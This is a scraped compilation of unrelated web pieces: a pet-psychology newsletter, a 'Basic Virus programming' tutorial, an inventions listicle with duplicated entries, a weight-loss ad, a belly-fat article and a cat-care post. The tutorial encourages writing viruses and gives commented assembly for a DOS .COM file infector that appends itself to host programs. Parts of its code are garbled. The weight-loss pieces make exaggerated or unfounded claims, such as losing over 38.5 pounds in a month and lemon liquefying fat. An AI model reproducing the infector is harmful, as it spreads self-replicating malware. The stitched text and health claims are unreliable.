“even though they do not provide their owners with the undying affection of puppies and kittens, most of our subjects said goldfish and hamsters perfectly embodied the concept of a pet.” Hal Herzog PhD asks How “Pet-tie” are dogs? What about goldfish and lizards?

“The main purpose in writing this blog is for us as professionals to embrace the fact that people love their dogs and are quite willing to find ways to help them. “ Suspending absences: not just doable, but being done. On separation anxiety by Malena DeMartini.

Why I don’t recommend training reactive dogs with CAT by Tracy Krulik CTC. A nice explainer of what negative reinforcement is and why desensitization and counter-conditioning are better.

“I admit to feeling a couple of weeks of post-canine depression but every time the sentiment threatened to overwhelm me, two tiny plaintive eyes would meet mine, accompanied by a vigorous swish of the tail and a barely audible squeak. “ Puppy love: how my dog taught me to be a real man by Grant Feller.

“The first thing to do is to take a few moments to consider what these seasonal hazards could be.” Tips for a safe and happy Christmas with your pup by Nick Honor CTC at K9 Puppy Stars.

Want to know what Felis silvestris lybica looks like? This is the animal your cat evolved from by Ilana Strauss.

“A dog’s extended tongue should be on dog lovers’ radar.” When we’re angry, dogs get the feels by Julie Hecht MSc.

Your cat is even smarter than you think. Modern Cat magazine reprints two answers to common cat questions from the late Dr Sophia Yin.

“We adult humans rarely feel this purity of emotion, and if we do we tend to squelch it.” Patricia McConnell PhD CAAB shares the tiny things about her dogs that make her happy.

“Solitude should be that meddlesome…” The cat on the stove by Daksha Hathi at Katzenworld Blog.

Photos, videos and podcasts

Unexpected friendships with animals and humans. Amazing photos by Diana Bagnoli, writing by Dee Swann.

Cats Protection has made some wonderful videos with John Bradshaw. Here’s how cats hear and how cats see.

Loving you, loving me: Companion Animals and domestic violence – a (visual) research project. Images from the project on domestic violence and animal abuse by Heather Fraser and Nik Taylor.

Gorgeous photos of cats by Observer photographer Jane Bown. Limited edition prints available.

Minimal cat art. The Modern Met explores a new subreddit.

Margaret Mahood’s feline art over at The Great Cat.

“Find out what a dog’s nose knows, and why no amount of bathing and dousing in perfume can mask your personal smelliness.” In Air Apparent, Big Picture Science speaks to Alexandra Horowitz (and before that, Sam Kean will blow your mind on the atmosphere!). 

In PetMD’s Life with Pets on Pit Bulls, Victoria Schade speaks to Bronwen Dickey, Lori Nanan, and Richard Hunter.

Should we keep pets? Anne McElvoy talks to John Bradshaw, Philip Howell, Jessica Pierce and Laura Purcell (preceded by a very nice clarinet sonata).


Litter Box Basics by Beth Adelman. Pet Professional Guild webinar Thursday 18th January 1 – 2pm Eastern time.

Canine Science Symposium at the San Francisco SPCA 14-15 April 2018. The full line-up of speakers is here: http://events.sfspca.org/css2018

The Emotional World of Dogs: New insights into training behaviour. Presented by Daniel Mills and hosted by The Academy for Dog Trainers. 7-8 July 2018 at Women’s Humane Society, Bensalem PA; and 28-29 July 2018 at East Bay SPCA, Oakland, CA.

Here at Companion Animal Psychology

I was thrilled to learn that my post, The Ultimate Dog Training Tip, has won the 2017 Captain Haggerty Award for best book or article on dog training from the Dog Writer’s Association of America.

The book of the month is The Emotional Lives of Animals: A Leading Scientist Explores Animal Joy, Sorrow, and Empathy ― and Why They Matter by Marc Bekoff. More on the Companion Animal Psychology book club.

In my latest post at Psychology Today, I look at a new study that looks at how the medical literature on dog bites covers dog behaviour – and finds errors and exaggerations. Moral panic about dog bites in the medical literature.

This month I’ve had two amazing posts that you will not want to miss: How to make the world better for cats, and how to make the world better for dogs. In each, an incredible line-up of experts answers the question, “What’s the one thing that would make the world better for dogs/cats?” Their answers are varied, thoughtful, and inspiring.

Extra early socialization for puppies makes a big difference reports on new research from Guide Dogs (UK) that finds a new, additional socialization program makes a difference to the behaviour of those puppies once they’ve grown up to be dogs.

And escaping dogs: some fences are better than others looks at a study that finds dogs escape from electronic fences at twice the rate of a physical fence.

Do you enjoy these newsletters and find them useful? Are there any changes you would like to see? Let me know in the comments or via a message on social media.

As always, subscribe to Companion Animal Psychology to stay up-to-date on evidence-based information about our relationship with pets.

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Basic Virus programming



This section is dedicated to those who would like to write a Virus program, but don’t have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed! Well, if you meet these requisites, keep reading this article….

The survival of a virus is based in its ability to reproduce. “So how the fuck do I make a program reproduce?” you might ask. Simple, by getting it to copy itself to other files….
The functional logic of a virus is as follows:
1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.
The following is an example of a simple virus:
Warning, this example is a (piece of shit?)
– The virus does not test for prior infection
– it searches only for the first .COM file in the current directory. Careful when executing this file, since the first time it’s executed it will search for and infect the first file in the directory. If we later run the newly infected file, it will find the first file in its directory, itself. Thus, it will re-infect itself over and over.
(The variables in a .COM file are relative to offset 100h).
codigo segment ‘code’org 100h ;Organize all the code starting from offset 100h
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the segments start proc far ;Start the routine
push cs ;Store CS
push cs ;Store CS
once again.
pop ds ;Bring DS out from stack
pop es ;Bring ES out from stack
call falso_proc ;Call proc. so that its
address is placed in the stack
falso_proc proc near
falso_proc endp
pop bp ;BP<== Proc. address.
sub bp, 107h ;BP<== BP – Previous directory
This is done to take the variables relative to BP, since the infection displaces the variables at exactly the length of the file. At the first infection, instruction “SUB BP, 107h” is 107h, so that the contents of BP is 0; when I call a variable with “BP+VARIABLE” the value of the variable’s address is not modified. When I load it , for example, from a 100h byte infected file, the instruction “SUB BP, 107h” leaves me at address 207h which means BP=100h, the size of the original file. Had I called the variable without adding BP, I would have been short by 100h bytes. Find the first .COM file in the directory
mov ah, 4eh ;Search for the 1st file
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
(*.*) so it will search all
the files, including directory names with extensions.
mov cx, 0000h ;Entry attributes int 21h
These attributes mentioned in the commentary are the directory’s entry attributes. When I set the attributes to 0, I’m telling DOS to search normal files. If I include a bit combination which provides the Hidden, System or Directory attributes, DOS will search for files with those attributes, as well as the normal files. If the search range includes the Volume bit, the search
is limited to that. These are the bits which correspond to each attribute:
Bits: 7 6 5 4 3 2 1 0
. . . . . . . 1 Bit 0: Read only
. . . . . . 1 . Bit 1: Hidden
. . . . . 1 . . Bit 2: System
. . . . 1 . . . Bit 3: Volume
. . . 1 . . . . Bit 4: Directory
. . 1 . . . . . Bit 5: File

Bits 6 and 7 are not used as they are reserved for “future applications”.
Open file
mov ah, 3dh ;Open the file.
mov al, 00000010b ;read/write.
mov dx, 009eh ;DX<== DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack.
The attributes I’m setting in AL are not the same as before. These are the “open” attributes. We are only interested in the first 3 bits,
bits 2 1 0:

0 0 0 Read only mode
0 0 1 Write only mode
0 1 0 Read/Write mode

OK, we now have the file attributes stored in AL. What we now need to do is to store in DX the offset of the variable where I’ve stored the ASCIIZ chain with the name of the file to be opened. In this case, we don’t have a NAME_OF_FILE variable. Instead, the name is located in the DTA (Disk Transfer Area). I we have it in the DTA…… Why? Simply because when we search for a file to infect, all the information we need is returned to this memory area. This buffer, if it was not reset, is found in the PSP; more precisely, it starts at offset 80h and is 43d bytes in size.The DTA format is as follows:
Offset Bytes Function
00h 21d Used by DOS for the 4fh service
(search for the next file)
15h 01d Attributes of the file that’s been found
16h 02d File time
18h 02d File date
1Ah 04d File size in bytes
1Eh 13d File name in an ASCIIZ chain

Well, all that remains to be done is to give DX the position in memory where I’ve stored the filename: “MOV DX, E1h” and its’s done. But careful now, remember that DTA starts at offset 80h, which means I have to pass to DX the value “80h+1Eh = 9Eh”. That would than leave “MOV DX, 9Eh”; the problem is solved. Now you are probably asking yourselves what I mean by “handle”. The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write.
Read the first 3 bytes.
pop bx ;I take the handle from the
stack to BX
push bx ;and I store it again.
mov ah, 3fh ;Read file.
mov cx, 0003h ;Read 3 bytes.
lea dx, bp+buffer ;and store in the buffer.
int 21h
INFECTAR: ;(infect)
Move pointer to the start.
mov ax, 4200h ;I move the write pointer
to the beginning of the program
mov cx, 0000h
mov dx, 0000h
int 21h
The pointer’s displacement, relative to the position of the pointer as specified in AL, is placed in CX and DX.
Pointer displacement modes set in AL:
AL <== 00 Move pointer to the beginning of the file.
AL <== 01 leave pointer where it is.
AL <== 02 Move pointer to end-of-file.
Write the first byte (jmp)
mov ah, 40h ;write the first byte.
mov cx, 1d ;Quantity=1.
lea dx, bp+jump ;DX<== JUMP offset
int 21h
(Here we still need the handle, but we don’t need to set it again because the register which contained the information was not modified. The first byte to be written is a JUMP instruction (the symbol for the jump is below). What follows the jump is the address of the jump, file-length + 1. (test the “+ 1” thoroughly, since this can cause problems; if so, multiply by 18 or subtract 23.) Since the entire virus code is copied at the end of the file, the jump gives the virus control in an infected file.
Calculating file length
mov cx, 2 ;Copy 2 bytes.
mov si, 009ah ;SI<== DTA offset
lea di, bp+longitud ;DI<== File LENGTH offset.
rep movsb ;Copy.
This instruction must have the ‘SOURCE’ buffer address in DS:SI and the address where the string will be copied in ES:DI (in this case, I copy the file length of the DTA to the variable’LONGITUD’).
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
The JMP is completed
mov ah, 40h ;Write.
mov cx, 2d ;Number of bytes.
lea dx, bp+longitud ;DX<== LONGITUD (length)
int 21h
Move pointer to end
mov ax, 4202h ;Move the write pointer to the
end of the program.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.
Copy the virus to the program.
pop bx ;Restore the handle.
mov ah, 40h
mov cx, 190d ;number of bytes to copy.
lea dx, bp+comienzo ;Start copying from….
int 21h
Close the file after infection
mov ah, 3eh ;Close file.
int 21h
Here, too, we need in DS:DX the address of the buffer which contains the filename string, but in this case DS and DX already contain those values from before.
==================RETURN CONTROL TO THE HOST=====================
Copy the buffer which contains the first 3 bytes of the file into memory.
mov cx, 0003h ;Number of bytes (3).
mov di, 0100h ;DI<== offset 100h. Beginning of the
program in memory.
lea si, bp+buffer ;SI<== BUFFER offset
rep movsb ;Copy.
What we are doing here is to “fix” the file, since when it was infected, the first few bytes are overwritten by the virus. That is why we reconstruct the file to its original state, by copying the first 3 bytes, which we had stored earlier, into memory.
Jump to offset 100h
mov ax, 0100h ;Address needed to execute the host
jmp ax
As we mentioned before, in .COM files the executable code begins at offset 100h. The information found between 00h and 100h is program data, like the DTA for example. The main difference between a .COM file and an .EXE is that a .COM cannot occupy more than one memory segment, or 65535 bytes. .EXEs can, because DOS can ‘tailor’ them to fit into a number of different segments. Unlike.EXE files. .COM files are faithful reproductions of the contents of memory.
====================DATA AREA===================================
buffer db 7d dup(0)
longitud db 2 dup(0)
file_inf db ‘*.COM’,0
jump db ‘é’,0 ;<—-jump ascii
(The character ‘0’ is the end of the ASCIIZ string)
start endp ;End of main procedure
codigo ends ;end of code segment
end comienzo ;END. Go to COMIENZO

Strange Inventions But They’re Equally Genius


Most people like the idea of running their own business, but coming up with an original idea is harder than it seems. Some people never quite manage it. If you’re lucky, you might be able to think of a brand-new invention that you could market to the masses. The inventors of the products below were able to think of some novel ideas, but they’re equal parts crazy and genius. 

1.) This mobile fishbowl will help you bring your new pet home (or wherever you want to bring him).

7.) This mobile fishbowl will help you bring your new pet home (or wherever you want to bring him).

2.) Burnt toast will be a thing of the past with this transparent toaster.

5.) Burnt toast will be a thing of the past with this transparent toaster.

3.) Sick of your pockets NOT being transparent? These jeans will help you look at your phone no matter what you’re doing.

6.) Sick of your pockets NOT being transparent? These jeans will help you look at your phone no matter what you're doing.

4.) A butter stick, for all of your everyday buttering needs!

1.) A butter stick, for all of your everyday buttering needs!

5.) This motorized ice cream cone. No need to lick around the cone like a peasant.

2.) This motorized ice cream cone. No need to lick around the cone like a peasant.

6.) Training wheels for women who are uncomfortable wearing high heels.

3.) Training wheels for women who are uncomfortable wearing high heels.

7.) Need to eat AND write? Try these utensil pen caps.

4.) Need to eat AND write? Try these utensil pen caps.

8.) No need to buy candles AND forks. These are two-in-one.

8.) No need to buy candles AND forks. These are two-in-one.

9.) Make your baby help keep the kitchen clean with this baby mop onesie. It’s about time they pitched in.

9.) Make your baby help keep the kitchen clean with this baby mop onesie. It's about time they pitched in.

10.) Apple sweaters protect your fruit from getting bruised in your lunch bag. Plus, they look chic.

10.) Apple sweaters protect your fruit from getting bruised in your lunch bag. Plus, they look chic.

11.) Don’t bother bending over to use the dust pan, these slippers have you covered.

11.) Don't bother bending over to use the dust pan, these slippers have you covered.

12.) Normal stairs are boring. Stairs with hidden drawers are MUCH better.

12.) Normal stairs are boring. Stairs with hidden drawers are MUCH better.

13.) Feeling lazy? Wear these sweatpants with built-in velcro napkins for all of your snacking needs.

13.) Feeling lazy? Wear these sweatpants with built-in velcro napkins for all of your snacking needs.

14.) This hamster cage shredder destroys your important documents … and it also keeps your pet’s cage tidy.

14.) This hamster cage shredder destroys your important documents ... and it also keeps your pet's cage tidy.

15.) Hate lunch thieves? These “moldy” sandwich bags will keep your sammies safe.

15.) Hate lunch thieves? These "moldy" sandwich bags will keep your sammies safe.

16.) If rolling watermelons annoy you, then just buy square ones.

16.) If rolling watermelons annoy you, then just buy square ones.

17.) Sitting on a wet bench is uncomfortable. That’s why you can just flip this bench over!

17.) Sitting on a wet bench is uncomfortable. That's why you can just flip this bench over!

18.) Slurping noodles can be dangerous. Wear a mask to protect your hair and clothes.

18.) Slurping noodles can be dangerous. Wear a mask to protect your hair and clothes.

19.) Sick of holding cans normally? Use this handle and you can have a fancy drink any time you want.

19.) Sick of holding cans normally? Use this handle and you can have a fancy drink any time you want.

20.) No more rolling up toothpaste tubes for you. This one has an opening at each end!

20.) No more rolling up toothpaste tubes for you. This one has an opening at each end!

Companion Animal Psychology Book Club November 2017

“It will forever change how we see our aquatic cousins – the pet goldfish included.”

A cup of coffee and a notebook by a pool full of koi. What a Fish Knows is the book for November 2017.

The Companion Animal Psychology Book Club choice for November 2017 is What a Fish Knows: The Inner Lives of Our Underwater Cousins by Jonathan Balcombe.

From the back cover,

“Do fishes think? Do they really have three-second memories? And can they recognize the humans who peer back at them from above the surface of the water? In What a Fish Knows, the myth-busting ethologist Jonathan Balcombe addresses these questions and more, taking us under the sea, through streams and estuaries, and to the other side of the aquarium glass to reveal the surprising capabilities of fishes. Teeming with insights and exciting discoveries, What a Fish Knows offers a thoughtful appraisal of our relationships with fishes and the planet’s increasingly imperiled marine life. It will forever change how we see our aquatic cousins – the pet goldfish included.”

Why not join us in reading the book? You can leave your comments below!

You can also follow Jonathan Balcombe on twitter.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites.

Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

30 Days To Thin – Hot Weight Loss Offer

But before I begin, take a deep breath and take some time to…

Feel what it will be like to lose more than 38.5 pounds in 1 month… looking at your sexy, slim, happy new you in the mirror!
30daythin questionFeel what it will be like to wear bikini, look gorgeous, and show off that sexy body at a beach!
30daythin questionThink what it feels like to walk into a room knowing that people will naturally come and talk to you because you exude confidence!
30daythin questionImagine how hot and sexy you look compared to your old photographs…Wouldn’t it feel good?
30daythin questionImagine being crowned as the “Hot Babe” by guys around you…Yes You!
30daythin questionThink how confidently you’ll carry yourself in front of your friends and family, reflecting the new slim, thin, and sexy you!

Print Your Pictures Instantly Using The Polaroid Instant 3X4 Mobile Printer


Polaroid Instant 3X4 Mobile Printer provides the solution of instant printing from your mobile phone or digital camera. This portable printer can print off 3” x 4” images in a matter of seconds, and it compatible with mostly mobile devices.

It allows printing via Bluetooth or USB cable in no time. The best feature of this gadget is automatic image quality optimization with water-resistant, other features are: tear-proof, smudge-proof and peel-off prints.
Polaroid Instant 3X4 Mobile Printer uses a special paper, this paper already has the colors imbedded in them, and so there is no worry of ink shortage unlike the common printers. The color activation by the printer is done via heat using ZINK technology. The cost of this 2-pounds printer is $170.

25 Simple Tips & Tricks To Reduce Belly Fat

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While shopping online, I came across those beautiful fitted cocktail dresses – pretty, short and oh-so feminine! I browsed through a few and put them in my cart, but I had a nagging doubt in my head, “will my tummy shows in them”? Most of the women have this fear when they dress up for a special occasion. Dressing up is fun put sometimes painful as tummy fat or belly fat shows easily.

Belly fat is one of the most common problems, especially with Indian women. In fact, it has been observed that even those who have slim bodies are troubled by bulging belly. Even after doing intense workouts, this stubborn fat refuses to budge even an inch. A bulging belly not only diminishes your appearance, but also increases the risk of diseases like stroke, diabetes, heart disease and cancers. Some people even go to the extent of taking diet pills or fat burners for reducing belly fat.

Spot reduction involves losing weight from a particular body part of the body and your belly is one of those areas where most of the fat tends to get accumulated. Unfortunately most of us are unaware of the type of work out and other lifestyle changes that are needed to get rid of the flab from our tummy. To lose this fat effectively, you need to focus on those exercises that specifically target your belly rather than indulging in a full body workout. Apart from this, there are certain natural ways such as dietary and lifestyle changes which can help you get those flat and sexy abs.

Exercises to Reduce Belly Fat:

There are plenty of exercises and food items that can go a long way in helping you get flat abs. All it takes is a little bit of discipline and perseverance. Exercises are one of the best ways to achieve your desired weight loss and the same is true with reducing belly fat. Given below are a few exercises that help you in getting rid of a bulging belly.

1. Side Plank:

This is a great abs work out. It is different from traditional plank in the sense that it enables you to support your body weight on two points of contact instead of four, helping you work out your core muscles.
You can start off by lying on your elbow placed directly beneath your shoulders and your legs stacked together. Now place your right hand on your left shoulder or right hip.
Brace your abs and lift your hips off the floor so that you are balancing on your forearm and feet. Your body should form a diagonal line. Hold on to this position for 30 to 45 seconds or as long as you can if you are a beginner. Switch sides and repeat the procedure.
2. Exercise Ball Crunch:

This exercise is done with the help of an exercise ball crunch and is great for working out your abdomen muscles. In this exercise, the abdomen gets exerted while the rest of the body is stabilized throughout the routine.
To start off, lie on the ball with your lower back fully supported and your hands placed behind your head.
Now lift the torso off the ball by contracting the abs to pull the bottom of the rib cage towards the hips.
Curl up, keeping the ball stable and then lower back down to stretch the abs. Do at least 1 to 3 sets each with 12 to 16 reps.
3. Reverse Crunch:

This exercise has been considered more effective than regular crunches in strengthening the core muscles.
You can start off by lying flat on your stomach with your arms at your sides.
Crossing your feet, lift them off the floor to create a 90-degree angle with your knees.
Now contract your abs muscles and lift your hands and shoulders off the ground, exhaling when you contract and inhaling when you lower your back down.
Try doing 1 to 3 sets with 12 to 16 reps each.
4. The Bicycle Exercise:

Cardio exercises are one of the best exercises for burning body and belly fat. Exercising on the bicycle is one of those which are great for body rotation, abdominal stabilization and more abdominal muscle activity.
Start off by lying on your back with your hands behind your head.
Now slowly raise your knees to your chest while lifting your head and shoulders off the floor.
Bringing your right elbow towards your left knee, straighten your right leg.
Now switch sides, bringing your left elbow to your right knee and straightening your left leg.
While doing this exercise, keep your breathing relaxed and even. Do 1 to 3 sets with 12 to 16 reps each.
5. Vertical Leg Crunch:

This exercise is similar to leg crunch except that your legs are straight up, working out your abs and adding intensity to the routine.
To start off, lie down on the floor with your legs straight up, your knees crossed and your hands placed beneath your head for support.
Contract your legs, lifting your shoulders off the floor and keeping your legs in a fixed position to crunch.
Do at least 1 to 3 sets with 12 to 16 reps each.
6. Long Arm Crunch:

This exercise has been derived from the traditional floor crunch where the arms are held straight behind you such that a lever is added to the move, making it a challenging exercise.
Start off by lying on the floor or a mat. While doing so, extend your arms straight behind, keeping them clasped and next to your ears.
Contracting your abs slowly, lift your shoulders off the floor to keep your arms straight.
Do 1 to 3 sets with 12 to 16 reps each.
7. The Captain’s Chair Leg Raise:

As evident from its name, this exercise involves a captain’s chair and a rack with padded arms to allow the legs to hang free. It is commonly found in gyms and racks.
Start off by standing on the chair and griping hand holds.
Pressing your back against the pad, raise your knees to the chest to contract the abs.
Then lower the back down.
Perform 1 to 3 sets each with 12 to 16 reps.
8. Interval Workout:

An interval workout is a workout where a high intensity exercise is followed by a lower intensity exercise. This is done to enable your body to workout at a good pace and then give it enough time to recover. For example, you can try jogging for the first 5 minutes to warm up. Then sprint for the next 2 minutes. After that, you can slow down to the spot where you are running at a jogging pace and then indulge in a full sprint for 2 more minutes. You can end up by jogging for the final 5 minutes.
9. Running and Walking:

Running and walking are the best fat burning exercises. This is quite simple as all you need is a good pair of shoes. Running burns more calories but walking is also quite effective in this regard. You can try brisk walking for 30 minutes at least 5 days in a week. This will cause you to breathe harder and your heart rate to become faster than usual. To get the same results in half a time, you can try jogging for 20 minutes in a day, at least 4 days in a week.

Diet to Reduce Belly Fat:

In addition to exercise, there is a need to make certain changes in your dietary pattern to reduce belly fat. All kinds of junk foods, processed snacks and aerated drinks might seem pleasing to your taste buds but they cause more harm to your tummy both internally and externally, causing fat to accumulate in your mid section.

A balanced diet not only improves your overall fitness but also prevents your belly from bulging up. Besides, there are certain food items that can help reduce your belly fat naturally. Given below are a few dietary tips for reducing belly fat:
1. Restrict your Caloric Intake:

As we all know, the key to weight loss is consumption of fewer calories than you normally consume. Spot reduction is rather impossible but when you start losing overall body weight, you tend to lose belly fat first. Thus, there is a need to restrict the intake of sugar and starch as these types of foods get stored in the body as fat if the calories are not burnt off immediately and do not provide much nutrition. Instead, it is advisable to consume a diet rich in fruits, vegetables, whole grains and lean proteins like chicken, fish, turkey and tofu. Processed foods and sweetened beverages also contain hidden fructose apart from fruits. Make sure to limit your fructose intake to less than 25 grams per day.
2. Avoid Late Night Snacking:

Late night or in between meals snacking should be avoided. If you feel hunger cravings in between meals, go for healthy foods like carrots, celery, fruits or nuts.
3. Eat Smaller Portions:

Reducing portion sizes can greatly help in weight loss including belly fat. Ensure to consume all kinds of foods in moderation to reap their health benefits.
4. Keep Yourself Hydrated:

Staying hydrated is extremely important. Drink plenty of water as it keeps you full in-between meals. You can drink one full glass of water before every meal as this will fill up your stomach and you are likely to eat less. Replace the sugary sodas and fruit juices with water to prevent the consumption of unnecessary calories. Ensure to drink at least 8 glasses of water every day.
5. Eat Fewer Carbs:

Carbs are an important source of energy. But most of us tend to consume more carbs than are need. These carbs get stored in the body as fat resulting in the appearance of belly fat.
6. Eat More Protein:
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Increase the consumption of lean proteins like fish, skinless chicken and eggs. Since protein has a higher thematic effect than other foods, your body burns more energy while processing proteins than it does while processing carbs and fat. Thus, a high protein diet is more effective in burning belly fat.
7. Cut Down on Alcohol Consumption:

Alcohol is loaded with sugar which leads to fat. Even if you cut down your sugar consumption but continue consuming alcoholic beverages, you are no better off. Alcohol also places stress on your liver which is forced to overwork to remove toxins consumed. This adversely affects the building of muscles. Alcohol greatly contributes to belly fat so it is advisable to refrain from consuming it.

Foods that Reduce Belly Fat: 
 As stated earlier, there are certain foods which are especially effective in reducing belly fat. The foods given below should be included in your diet as they can provide you with a flat belly along with a rich boost of nutrition.
1. Fruits and Fruit juices:

Among fruits, cranberries are especially effective in reducing belly fat. They have a high content of organic acid which act as a catalyst for enzymes. These enzymes help in reducing the fatty deposits. Ensure to include 100% cranberry juice in your diet. Cran-water also helps to lose belly fat. Dried fruits like raisins, apricots and figs are also quite nutritious and beneficial for weight loss.
2. Fish Oil/ Omega-3 Fatty Acids:

Omega-3 fatty acids help you to lose belly fat by directly targeting tummy fat. Fish oil is another great option to lose belly fat. Ensure to consume at least 6 grams of fish oil or eat mackerel, salmon at least twice a week. You can also munch chia seeds as they are high in protein and an excellent source of B vitamins. They also contain calcium and high quantity of antioxidants.
3. Linolenic Acid (GLA and CLA):

Conjugated Linolenic Acid (CLA) and Gamma Linolenic Acid (GLA) help reduce belly fat by activating the brown fat in overweight people. You can obtain this GLA from precursor vegetable oils like sunflower oil. Otherwise you can also use GLA supplements. CLA helps in reducing fat by helping the body to utilize and access stored fat.
4. Monounsaturated Fatty Acids (MUFA):

Monounsaturated fats like omega-9 fatty acids also play an important role in a flat belly diet. Certain studies have shown that MUFAs help to burn body fat in the belly. The American Heart Association recommends using MUFAs instead of trans-fats and saturated fats. To get the recommended amount of MUFAs, you can use olive, sunflower or safflower oil for cooking. Other sources of MUFA include filberts, olives, macadamia nuts and avocados.
5. Lemon or Lime:

For a flat belly, try to drink lime juice in normal water daily in the morning. You can also sip lemon juice or use it in salads or in your diet. Lemon provides more energy to the liver to liquefy fat so that it gets flushed away more quickly from the system. Besides you should drink plenty of water to accelerate this process. Dehydration can cause your kidneys to take help from the liver, thereby reducing the liver’s speed to burn fat.
6. Herbal Teas:

Herbal teas can be beneficial in this regard as they are prepared from spices and herbs that have been proven to speed up metabolism, reduce stress and cleanse the body’s internal organs. You can also consider using green tea as it has a load of antioxidants which are great for your body, skin, hair and brain. It contains EGCG which can help you lose belly fat naturally. Try having 3 to 4 cups of green tea in a day without adding milk or sugar. An effective way to lose belly fat is to replace the sodas, juices and other sugary foods with herbal teas.

Lifestyle Changes:

Apart from a healthy diet and regular exercise, it is important to incorporate certain changes in your lifestyle to accelerate the process of losing belly fat and be able to maintain the fitness level in the long run. To start off, it is important to maintain a positive attitude. If you believe that you will be able to do it, you can actually do it. In fact, you have to be patient enough as you cannot expect to get instant results. You need to make the following changes in your lifestyle:
1. Get Proper Sleep:

Getting proper sleep is perhaps one of the best and easiest things that you can do to bring your body into shape including reduction of belly fat. Science has shown a link between getting deep sleep on a consistent basis and having less belly fat. Sleep deprived people tend to feel sluggish, causing them to eat more to compensate for the lack of energy. The deepest and most sound sleep comes from going to bed early in the evening. When you are awake till late in the night, you are tired and your body produces more Ghrelin, which increases cravings for sugar and other fat-building foods. Lack of sleep can also alter your hormone production, thus affecting your cortisol levels that cause insulin sensitivity which is one of the causes of belly fat. It is advisable to get at least 7 hours of sleep at night.
2. Manage your Stress Levels:

Stress is a part and parcel of life today. But too much stress can increase the level of cortisol in the body which leads to excess fat storage. Stress can be managed by indulging in regular exercises, staying away from stress inducing people from your life and time management. You can try yoga, meditation or other mind-body building activities that improve breathing, posture and provide relaxation too. If your job is the cause of your stress, consider changing your careers to be better off and alive. Being late or constantly running out of time can also lead to stress. Try to manage time by making a list of things that you need to accomplish on a given day. This might help in reducing your stress levels and consequently the fat accumulated in your belly.
3. Slow Down your Breath:

This is an effective method that you can try even if you are busy doing something else. Whenever you find that you are feeling tensed, try and check your breathing. When people are stressed out, they often alternate holding their breath with short breaths or take rapid shallow breaths. When you become aware of your breathing, relax your belly and try to slow down your breathing. To get the best results, focus on slowing down your exhalation rather than inhalation. This method is quite simple but extremely effective.
4. Be Persistent:

It is our tendency to look for quick results in every aspect of life, fitness is one of those. Often when we are trying to lose belly fat or simply lose weight, we expect to see results within a short span. When we fail to see the difference, we end up feeling disappointed and giving up on the fitness regime.Another reason is that some people feel monotonous following a particular routine or are simply unwilling to make the requisite changes.

So the most important thing that you need to keep in mind while trying to lose belly fat is to be persistent. As we all know, nature is persistent, time keeps on moving no matter what. Like nature, you have to be persistent enough to take steps each day to eat the right foods, do your regular exercises and nourish yourself. You need to give some time to yourself before you can see positive results. Avoid pushing yourself while trying to lose belly fat as things take their own time to work out. And last but not the least, you have to maintain a positive mood and be happy. Make sure to measure your progress to know where you are heading.

So if you really want to look good in your favourite saree or a perfectly fitted dress and if you think that belly fat is incurable, you need to change your thinking. Just go ahead and adopt the simple yet effective ways given above. Though you cannot reduce fat, you can definitely lose belly fat by decreasing your total body fat percentage.

Remember a step taken in the right direction is always better than standing still on the wrong path. Go ahead and make those small changes in your life. We hope this article will surely help you. Do share the life changing steps you adopt and share your views in the comments section below!

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Five Things To Do For Your Cat Today

Want to make your cat happier? Here are some things you can do right now to make your feline feel blissful.

Five things to do for your cat today, illustrated by this beautiful pedigree cat
Photo: Dmitry Nesterov / Shutterstock
Cats are wonderful creatures. When we understand them, we can use that information to make them happier. Here are five things to do for your cat today – and a bonus one to work on over time.

1. Make time to play with your cat

11% of cats have no toys, according to one study (Howell et al 2016).

But the average cat has 7 toys, and toy mice are the most popular. (Strickler and Shull 2014)

Even if your cat has lots of toys of their own, they still like it when their human plays with them. 64% of the owners in Strickler and Shull’s study played with their cat twice a day, but playtime typically lasted 5 or 10 minutes. Amongst people who played with their cat for at least 5 minutes instead of just 1 minute, there were fewer behaviour problems.

But your cat would probably like an even longer play time.

Have you ever felt that when you are moving a toy for your cat, they seem to be hunting it? This is because play satisfies the cat’s predatory instincts.

John Bradshaw PhD, author of Cat Sense and other best-selling books on pets, told NPR that “The research that we’ve done suggests that [play] it’s almost indistinguishable, that everything that a cat does when it’s playing seems to be a part of its normal hunting behavior.”

So when a cat plays, it’s not so much about the cat being sociable with you, it’s really about hunting.

This means they like toys that are like prey in some way – maybe they are furry or have feathers or are mouse-sized or squeak like a mouse or are long so the cat can kick their back legs against it. And cats would like you to move it as if it is real prey for them to chase.

5 things to do for your cat today to provide enrichment, play time and hiding places. A beautiful kitten sits with its paws crossed.

Every cat is an individual, so experiment with different types of toys and different ways of moving them to see what makes your cat engage in play.

And remember that cats can get bored of toys, so you can put some of them away in a cat’s toy box and rotate the toys that are available. (If you have a cat like my tortoiseshell, she will learn to open the box and pick her own toys!).

You might find that multiple sessions of 5 – 10 minutes works best, but you can experiment and see what your cat likes.

Free-ranging cats spend a large part of each day hunting for food, which shows just how important hunting behaviour is to a cat. Strickler and Shull suggest that cats would probably like it if an individual play session lasts for longer than 10 minutes; 30 minutes is the typical length of a time a free-ranging cat spends on a single hunt (although only some of that time would be active chase as the mouse has first to be found). Play keeps your cat active and satisfies that predatory instinct.

So make time to play with your cat!

2. Give your cat a food toy

Another way to engage your cat’s hunting instinct is through the use of food toys. These provide valuable enrichment to our feline friends.

There are many food toys available, including balls with holes in that the cat has to roll to make treats fall out, the mouse-shaped no bowl, containers that have to be tipped like the Trixie Mad Scientist, and things the cat has to paw at to get the treats out like the Trixie 5-in-1 Activity Center.

